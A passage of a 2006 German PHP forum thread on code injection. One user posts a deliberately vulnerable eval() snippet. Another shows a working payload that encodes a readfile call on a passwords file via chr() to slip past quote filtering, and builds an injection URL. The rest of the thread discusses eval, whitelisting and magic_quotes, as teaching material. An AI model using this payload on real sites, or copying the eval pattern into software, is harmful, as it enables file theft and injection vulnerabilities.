• beyond tellerrand – play. Register Now!
Zurück   Flashforum > Flash und Server > PHP und MySQL

Antwort
 
LinkBack Themen-Optionen Ansicht
Alt 18-03-2006, 18:24   #16 (permalink)
Neuer User
 
Benutzerbild von the binary
 
Registriert seit: Jul 2001
Ort: Berlin | Friedrichshain
Beiträge: 3.561
elias, schick mal pm..


Edit:
btw: hut ab, daumen hoch und danke, für das schliessen einiger wissenslücken...
__________________
8bm | join ff@BOINC
formpackage.org | audiohunter.de | problematica.de | 8ball-media.de/blog | taikonauten.cn

Geändert von the binary (18-03-2006 um 18:26 Uhr)
the binary ist offline   Mit Zitat antworten
Alt 18-03-2006, 19:28   #17 (permalink)
Neuer N00b
 
Benutzerbild von Frohni
 
Registriert seit: Jun 2004
Ort: Norddeutschland SH
Beiträge: 427
Zitat:
Zitat von rechtschreibfan
doch.
Aha...
dann injizier doch mal hier Code:
PHP-Code:
<?
$test
=$_POST[test];
$test=urlencode($test);
echo 
$test;
eval(
$test);
?>
<form name='form1' method='POST'>
<input type='text' name='test'>
<input type='submit' value='senden'>
</form>
Gruß, Frank
Frohni ist offline   Mit Zitat antworten
Alt 19-03-2006, 13:02   #18 (permalink)
flachzange
 
Benutzerbild von elias
 
Registriert seit: Jun 2003
Ort: berlin
Beiträge: 3.932
Frohni, das mag vielleicht funktionieren. Aber wenn du eine größere Anwendung
schreibst dann wirst du kaum im Auge behalten können welche Daten in eine
unsichere Funktion gelangen und wie bzw. womit die hin und her kodiert wurden.
Selbst wenn 'du' es schaffst, was ist mit anderen Mitarbeitern?
Eval ist in den Meisten fällen einfach völlig unnötig und include in diesem Fall auch.
__________________
elias ist offline   Mit Zitat antworten
Alt 19-03-2006, 13:15   #19 (permalink)
Neuer N00b
 
Benutzerbild von Frohni
 
Registriert seit: Jun 2004
Ort: Norddeutschland SH
Beiträge: 427
Elias, das leuchtet mir absolut ein. Solche Sachen sollten immer mit einer Whitelist verifiziert werden (wie Du schon selber geschrieben hast). Es ging mir halt nur um das "was wäre wenn".
Im Nachhinein geht das urlencode im counterscript auch nicht, da die zugrundeliegende Datei "included" wird und somit ausführbar sein muß/soll.

eval: gerade bei meinem aktuellem Projekt komme ich nicht um eval herum. Solange die Aufrufe jedoch nicht auf GET/POST Variablen beruhen, sondern im Code festgelegt sind, sehe ich da kein Problem.

Gruß, Frank
Frohni ist offline   Mit Zitat antworten
Alt 21-03-2006, 21:08   #20 (permalink)
flachzange
 
Benutzerbild von elias
 
Registriert seit: Jun 2003
Ort: berlin
Beiträge: 3.932
Nochmal zurück zum Thema. Es gab bei der Code Injection ein kleines Problem
was verhindert hat das ich " oder ' injizieren konnte. Leider konnte ich das
Verhalten nicht mehr reproduzieren, ich vermute es liegt an PHP 4 oder
magic_quotes.
Jedefalls ist man ohne Quotes schon ziemlich aufgeschmissen wenn z.B. Pfade
(also Strings) zu Dateien injizieren möchte. Deswegen habe ich den kompletten
Code kodiert und in ein eval gesteckt:

PHP-Code:
$s = str_split("readfile('/full/path/to/passwords');");
$s = array_map('ord', $s);
$s = 'eval(chr('.implode(').chr(', $s).'));';
echo "http://example.com/counter.php?daten=".urlencode('<?php '.$s.' ?>');
Das ist keine große Kunst aber zwei Dinge möchte ich dazu sagen.

1. Gibt es sehr viel trickreichere Wege Code über 10 Ecken einzuschleusen, z.B. tricks mit Multibyte Charsets führen immer zu netten "Aha" effekten.
Ich will damit sagen das eine Lösung auf dem ersten Blick nicht umbedingt eine sein muss.

2. Ohne eval hätte der Angriff nicht funktioniert.
__________________
elias ist offline   Mit Zitat antworten
Alt 22-03-2006, 14:08   #21 (permalink)
Kaffee...
 
Benutzerbild von x!sign.dll
 
Registriert seit: May 2004
Ort: de/en
Beiträge: 433
lol...
DAS is mal echt derbe - vorallem die Nutzlosigkeit von magic_quotes in dem Fall.
x!sign.dll ist offline   Mit Zitat antworten
Antwort

Lesezeichen

Themen-Optionen
Ansicht

Forumregeln
Es ist Ihnen nicht erlaubt, neue Themen zu verfassen.
Es ist Ihnen nicht erlaubt, auf Beiträge zu antworten.
Es ist Ihnen nicht erlaubt, Anhänge hochzuladen.
Es ist Ihnen nicht erlaubt, Ihre Beiträge zu bearbeiten.

BB-Code ist an.
Smileys sind an.
[IMG] Code ist an.
HTML-Code ist aus.
Trackbacks sind an
Pingbacks sind an
Refbacks sind an


LinkBacks (?)
LinkBack zu diesem Thema: http://www.flashforum.de/forum/php-und-mysql/tutorial-php-code-injection-197417.html
Erstellt von Für Art Datum Hits
Code Injection Hack , Anfänger sollten lieber nicht Programmieren... Dieses Thema Refback 24-06-2011 16:20 6
Web und Netzwerk PHP - Code Injection Angriffe Schweinfurt den ... Dieses Thema Refback 24-08-2009 14:30 51


Alle Zeitangaben in WEZ +1. Es ist jetzt 22:28 Uhr.

Domains, Webhosting & Vserver von Host Europe
Unterstützt das Flashforum!
Adobe User Group


Copyright ©1999 – 2012 Marc Thiele